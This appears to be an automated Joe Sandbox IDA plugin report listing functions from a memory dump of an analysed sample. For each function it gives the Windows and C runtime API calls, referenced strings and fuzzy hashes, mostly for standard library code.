Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 4e5c5a88b65927b853927d8ab3a5c24a0a31eb24433dd80fcdd3c0c1abc90d49
Instruction ID: 94116349f33835ac8efebb53bf97aa351e812ae422b8ae87821aac27f75c9535
Opcode Fuzzy Hash: 4e5c5a88b65927b853927d8ab3a5c24a0a31eb24433dd80fcdd3c0c1abc90d49
Instruction Fuzzy Hash: 8671E472904606AFDF21AE649C41FAF7BA9DF46310F2C005AFD54A7285EB35DE4087B1

Function 00D8BC65 Relevance: 12.2, APIs: 8, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 00D8BCAC
__alloca_probe_16.LIBCMT ref: 00D8BCD8
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 00D8BD17
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00D8BD34
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00D8BD73
__alloca_probe_16.LIBCMT ref: 00D8BD90
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 00D8BDD2
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00D8BDF5

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 2ddaaa7603d62676d94886a1c08aa48b840ef0b90cc30afdd411419d588edd54
Instruction ID: 4244f9e138224a7785dc4f17ce47585284e1022e24fd95451c5802de54d36dbe
Opcode Fuzzy Hash: 2ddaaa7603d62676d94886a1c08aa48b840ef0b90cc30afdd411419d588edd54
Instruction Fuzzy Hash: 2A518E72600206FFEF216F61CC45FAB7BA9EB44760F29412AFA15E6190DB34DD118BB0

Function 00D9A29B Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00D9A321

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 8e0f97e4647312b9ceead5f539edeb0fd48669250f67cc87fd716c991951b375
Instruction ID: fd437cda39d1fbcfdcdadfb376c9d5b68b520caf9c4d8970326f8ac2a40bac8f
Opcode Fuzzy Hash: 8e0f97e4647312b9ceead5f539edeb0fd48669250f67cc87fd716c991951b375
Instruction Fuzzy Hash: 4DB10473A002659FDF118F6CCC82BAEBBA5EF55350F198155E948AB282D274D901C7F2

Function 00D8CBA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00D8CBD7
___except_validate_context_record.LIBVCRUNTIME ref: 00D8CBDF
_ValidateLocalCookies.LIBCMT ref: 00D8CC68
__IsNonwritableInCurrentImage.LIBCMT ref: 00D8CC93
_ValidateLocalCookies.LIBCMT ref: 00D8CCE8

Strings

csm, xrefs: 00D8CC7D

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 50228187dd9e6d530b13f8f07a6caccd686cc025b377d21228d84dc99a896472
Instruction ID: af0a66af44b1706bacb058701c8f7702600fa734a9b50d2388e8e532ab84b1cf
Opcode Fuzzy Hash: 50228187dd9e6d530b13f8f07a6caccd686cc025b377d21228d84dc99a896472
Instruction Fuzzy Hash: 6E41E334A20218EFCF10EF68C885A9EBBB1EF45314F188155E8199B362D731EE15CBB5

Function 00D8BEDC Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00D8BEE2
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00D8BEF0
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 00D8BF01

Strings

GetSystemTimePreciseAsFileTime, xrefs: 00D8BEEA
GetTempPath2W, xrefs: 00D8BEF6
kernel32.dll, xrefs: 00D8BEDD

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: 9a1c216be92cfcee9da137fe35af252484d8db07521685a09b155faafa28ffb2
Instruction ID: 19d8e03ab6a69d5fd0a37f06f6cb00b76ab536f4c2ccc15aec5c1cad734ee3eb
Opcode Fuzzy Hash: 9a1c216be92cfcee9da137fe35af252484d8db07521685a09b155faafa28ffb2
Instruction Fuzzy Hash: 6FD09E79656354EF97005B707C098973FA5DA467513068257F411D3361E6B455048F71

Function 00D9FF39 Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fedbaff18f8ff3be7eb12db09e62ba8ae1ddbb6fc60e3bdc30a8b8740d529edc
Instruction ID: 9fde8fe4765b691de3f7480fb4ae948adc3b830f939116c0148592ad12856904
Opcode Fuzzy Hash: fedbaff18f8ff3be7eb12db09e62ba8ae1ddbb6fc60e3bdc30a8b8740d529edc
Instruction Fuzzy Hash: CCB1BF70A04349EFDF11DFA8C881BAE7FB1EF46310F184258E955A7292C7709942CBB4

Function 00D96112 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00D96109,00D8C977,00D8B7A5), ref: 00D96120
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00D9612E
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00D96147
SetLastError.KERNEL32(00000000,00D96109,00D8C977,00D8B7A5), ref: 00D96199

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 0035f18ff522f1af74ec2c0e672364ff2e7a63bac5002f2bf9c2899e9507d548
Instruction ID: 16bc964f738a95ecc7bb5bb947a7a3ceec3d2c6342a0ab1991cfdfcf6ed449d1
Opcode Fuzzy Hash: 0035f18ff522f1af74ec2c0e672364ff2e7a63bac5002f2bf9c2899e9507d548
Instruction Fuzzy Hash: 8E01F737259711DEAF352BB47C859672AA5EB263B5724032AF525B12F2FF118C0193B0

Function 00D969DA Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00D96AF9
CallUnexpected.LIBVCRUNTIME ref: 00D96D72

Strings

csm, xrefs: 00D96B30
csm, xrefs: 00D96A84
csm, xrefs: 00D96A17

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: a8919f4f340507b368960ee5ad4040ebd8ba3d60bf2070109aa8fcce5536c032
Instruction ID: f956a5fab7dc8a88a64835b240b149a3b43fff6b8648a60a86929b176905b27c
Opcode Fuzzy Hash: a8919f4f340507b368960ee5ad4040ebd8ba3d60bf2070109aa8fcce5536c032
Instruction Fuzzy Hash: A8B158B1900209EFCF29DFA4C9819AEBBB5FF14314F18415AF815AB212D731EA51CBB1

Function 00DB5C74 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 63registrywindowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00DB5CD4
RegisterClassW.USER32 ref: 00DB5CEC
GetMessageW.USER32 ref: 00DB5D41

Strings

Melon, xrefs: 00DB5CAA
(, xrefs: 00DB5C9D

Memory Dump Source

Source File: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: ClassHandleMessageModuleRegister
String ID: ($Melon
API String ID: 1585107554-1480228127
Opcode ID: c4e82eb5e8d92fd385369b593bbcda31f89ac022814f77823c5117a7f2b60929
Instruction ID: 5d2e06aff7418538b31cabcf21c2b7033203aba761094ced71b8820f7877d8c0
Opcode Fuzzy Hash: c4e82eb5e8d92fd385369b593bbcda31f89ac022814f77823c5117a7f2b60929
Instruction Fuzzy Hash: 5021B6B0905308DFDB44EFA8E58979EBBF0FB48300F50892AE44AD7354E77499489F66

Function 00D9139D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,6FF93721,?,?,00000000,00DA7345,000000FF,?,00D9145E,00000002,?,00D914FA,00D9415D), ref: 00D913D2
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00D913E4
FreeLibrary.KERNEL32(00000000,?,?,00000000,00DA7345,000000FF,?,00D9145E,00000002,?,00D914FA,00D9415D), ref: 00D91406

Strings

mscoree.dll, xrefs: 00D913CB
CorExitProcess, xrefs: 00D913DC

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0a094d671be87879b81e197280ddcf4fc8ec8b8b0401ae4f45415b3cc1bf3884
Instruction ID: d256b81d1e4b8afddf0bfd19b2d51447c9fc1503f627552f2d7acdb6e67df790
Opcode Fuzzy Hash: 0a094d671be87879b81e197280ddcf4fc8ec8b8b0401ae4f45415b3cc1bf3884
Instruction Fuzzy Hash: D0016735A4461AEFDF159F54CC09FAFBBB8FB44B11F044629E821E2790DB749900CA60

Function 00D98B36 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00D98BBB
__alloca_probe_16.LIBCMT ref: 00D98C84
__freea.LIBCMT ref: 00D98CEB

Part of subcall function 00D97381: RtlAllocateHeap.NTDLL(00000000,00D9935A,?,?,00D9935A,00000220,?,00000000,?), ref: 00D973B3

__freea.LIBCMT ref: 00D98CFE
__freea.LIBCMT ref: 00D98D0B

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 6ba31a73fd6b6a4d786bce99f6ee9a709d4c126892910de0b32e51c4e4327756
Instruction ID: 054fac9b009c71e15bc6ef15feee8a238d2110df2e5fdbb6940fb179d5576821
Opcode Fuzzy Hash: 6ba31a73fd6b6a4d786bce99f6ee9a709d4c126892910de0b32e51c4e4327756
Instruction Fuzzy Hash: 3351BFB2601246AFEF216F65CC81EBB7AA9EF96B10F190129FD05E6151EF30DD10A770

Function 00D8BB07 Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00D8BB1B
AcquireSRWLockExclusive.KERNEL32(?,?,00000000,00DA7328,000000FF,?,00D8892E), ref: 00D8BB3A
AcquireSRWLockExclusive.KERNEL32(?,?,?,?,00000000,00DA7328,000000FF,?,00D8892E), ref: 00D8BB68
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,00000000,00DA7328,000000FF,?,00D8892E), ref: 00D8BBC3
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,00000000,00DA7328,000000FF,?,00D8892E), ref: 00D8BBDA

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: b0f6e2e8615d278ba95768059799c82340b5b9268ae159d8881024fef947fda3
Instruction ID: 4a2b629674e56c22525ee5005967baaa2467f76b1821862f02a7dc57c9a7283e
Opcode Fuzzy Hash: b0f6e2e8615d278ba95768059799c82340b5b9268ae159d8881024fef947fda3
Instruction Fuzzy Hash: 3341277590060ADFCB20EF65C4909AAB3F4FF08360B584A6BE496D7654DB30F985CB71

Function 00D894BF Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D894C6
std::_Lockit::_Lockit.LIBCPMT ref: 00D894D1
std::_Lockit::~_Lockit.LIBCPMT ref: 00D8953F

Part of subcall function 00D893C8: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00D893E0

std::locale::_Setgloballocale.LIBCPMT ref: 00D894EC
_Yarn.LIBCPMT ref: 00D89502

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: fe085558b9bbbcac418db3ff29aa5df3de177dd4d3c7933e5f348f865aaa2295
Instruction ID: 36927654b3212abf823048b1a7bafe2152779ea13c336f6bb57befb803698d3c
Opcode Fuzzy Hash: fe085558b9bbbcac418db3ff29aa5df3de177dd4d3c7933e5f348f865aaa2295
Instruction Fuzzy Hash: 0A01BC75A00211EBC706FB20D86957DBBA1FF85320B184149E84197381DF34AA42CBB1

Function 00DA1BB1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00DA1C4D,00000000,?,00DB40C8,?,?,?,00DA1B84,00000004,InitializeCriticalSectionEx,00DAB2A4,00DAB2AC), ref: 00DA1BBE
GetLastError.KERNEL32(?,00DA1C4D,00000000,?,00DB40C8,?,?,?,00DA1B84,00000004,InitializeCriticalSectionEx,00DAB2A4,00DAB2AC,00000000,?,00D9702C), ref: 00DA1BC8
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00DA1BF0

Strings

api-ms-, xrefs: 00DA1BD5

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: f716b28ee99058d48d0ac170e28c1b21b20cdfd17ff09214755a2402ca0f6f8d
Instruction ID: f9bba14c2eb3cfcfd0144484d5e21db8f5e8298557f979501139dbe6055c02c1
Opcode Fuzzy Hash: f716b28ee99058d48d0ac170e28c1b21b20cdfd17ff09214755a2402ca0f6f8d
Instruction Fuzzy Hash: 54E04F30685309FBFF102B61EC06F5E3F58AB12B91F184021F90DE81E2EB61D9509AB4

Function 00D9F309 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(6FF93721,00000000,00000000,?), ref: 00D9F36C

Part of subcall function 00D97491: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00D98CE1,?,00000000,-00000008), ref: 00D974F2

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00D9F5BE
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00D9F604
GetLastError.KERNEL32 ref: 00D9F6A7

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 2430fe011c87ec494ef5189b2e9f6af25b368d220f8379b483ba8392ae5b35f9
Instruction ID: 269be6e52615b882b0cc585c6779064c4fca898b6571cebe82f407c471ac4a71
Opcode Fuzzy Hash: 2430fe011c87ec494ef5189b2e9f6af25b368d220f8379b483ba8392ae5b35f9
Instruction Fuzzy Hash: 2BD14975D00258EFCF15CFA8D8809AEBBB5FF49314F28456AE865EB352D630E941CB60

Function 00D96701 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00D967C8
___AdjustPointer.LIBCMT ref: 00D967EB
___AdjustPointer.LIBCMT ref: 00D96887

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
